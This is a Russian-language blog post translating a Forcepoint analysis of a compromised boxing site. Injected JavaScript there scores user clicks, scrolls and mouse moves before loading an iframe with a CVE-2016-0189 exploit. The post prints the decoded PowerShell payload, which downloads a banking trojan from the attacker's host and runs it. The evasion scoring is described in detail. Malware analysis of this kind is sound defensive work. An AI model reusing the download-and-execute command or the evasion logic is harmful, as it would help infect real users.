Home

Виталий Рудных

06 октября 2016

Вредоносный js код загружается после анализа действий пользователя

27 сентября 2016 года, специалисты компании Forcepoint обнаружили скомпрометированный русский сайт allboxing[.]ru. На сайте внедрен вредоносный javascript код который перенаправляет посетителей на стороний веб-сайт, содержащий эксплоит загружающий банковский троян. Внедренный код использует особую тактику уклонения, которая гарантирует что редирект произойдет только при значительном взаимодействии пользователя с веб-сайтом.

Сайт allboxing[.]ru является популярный русским ресурсом с количеством ежемесячной аудитории около трех миллионов. Статистика

В один из используемых javascript файлов по адресу allboxing[.]ru/misc/jquery.once.js?v=1.2 внедрен вредоносный код. Комментарии в начале файла утверждают что файл является частью плагина “jQuery Animate Plugin v1.2” что на самом деле является ложью. Не тот за кого себя выдает

Большинство легитимных jQuery плагинов, как правило ссылаются на конкретный проект (например: http://plugins.jquery.com/blueimp-file-upload/) в то время как в данном коде, ссылка ведет на страницу с выводом всех плагинов по тегу animate. Однако злоумышленник приложил значительные усилия чтобы выдать этот код за легитимный, используя тот же стиль форматирования и комментариев.

Скрипт jquery.once.js загружает второй скрипт из директории /misc/jquery.animate.js который, в свою очередь пытается вставить в страницу скрипт со стороннего сайта злоумышленика. Код не вставляется, при условии что пользователь использует браузер Chrome или Opera, возможно по той причине что хакер не может эксплуатировать уязвимость на этих браузерах. Инжект вредоносного кода

Скрипт automated.js на getcanvas[.]org ожидает взаимодействия с пользователем перед тем как вставить iframe с эксплоитом. Взаимодействие с пользователем

Для внедрения эксплоита, необходимо чтобы пользователь произвел достаточное взаимодействие с мышью, скролл, клик или перемещение курсора. Хакер установил определенное количество баллов за каждое действие, например за клик начисляется 16 баллов, за скроллинг 11 баллов, передвижение курсора мышью 1 балл. Если количество баллов достигнет 30 или выше произойдет внедрение iframe с эксплоитом. Данная тактика используется для предотвращения определения заражения автоматизированными системами/сканерами. Помимо этого, для маскировки вредоноса здесь используется еще один метод, если обратить внимание на url ифрейма то может показаться что он связан с тематикой сайта. Слово “канвас” является хорошо известным термином в боксе (канвас в боксе - это настил, которым накрывают ринг, покрытие ринга). В ссылке же имеется слово “sport”. Данный метод маскировки делает данный урл менее подозрительным, т.к. он совпадает с тематикой сайта.

Вредоносный iframe расположен по адресу getcanvas[.]org/sport/page/5.html. Страница содержит VBScript эксплоит использующий CVE-2016-0189 который пытается запустить PowerShell скрипт на компьютере жертвы. Эксплоит VBScript

Декодированый код выглядит следующим образом:

(New-Object System.Net.WebClient).DownloadFile("http://getcanvas.org/sport/boxing/tysonfury.jpg","islzma32.exe");(New-Object -com Shell.Application).ShellExecute("islzma32.exe");

Данный код скачивает и исполняет файл tysonfury.jpg который является банковским трояном.

Уязвимость CVE-2016-0189 не так давно использовалась в кибершпионских операциях против южнокорейских организаций. Код эксплоита был случайно выложен одним из исследователей в качестве PoC на Github, откуда он перекочевал в эксплоит-пак Neutrino. Microsoft выпустили патч закрывающий данную уязвимость в мае этого года.

Данная статья является переводом статьи “Highly Evasive Code Injection Awaits User Interaction Before Delivering Malware” Security Labs.

p.s. Кстати, подобный вредоносный код хорошо умеет определять веб-сканер ReScan, он эмулирует действия живого посетителя сайта (скролл, движения мышью итп), что в контексте данного вредоноса позволит ему набрать 30 очков.

scribble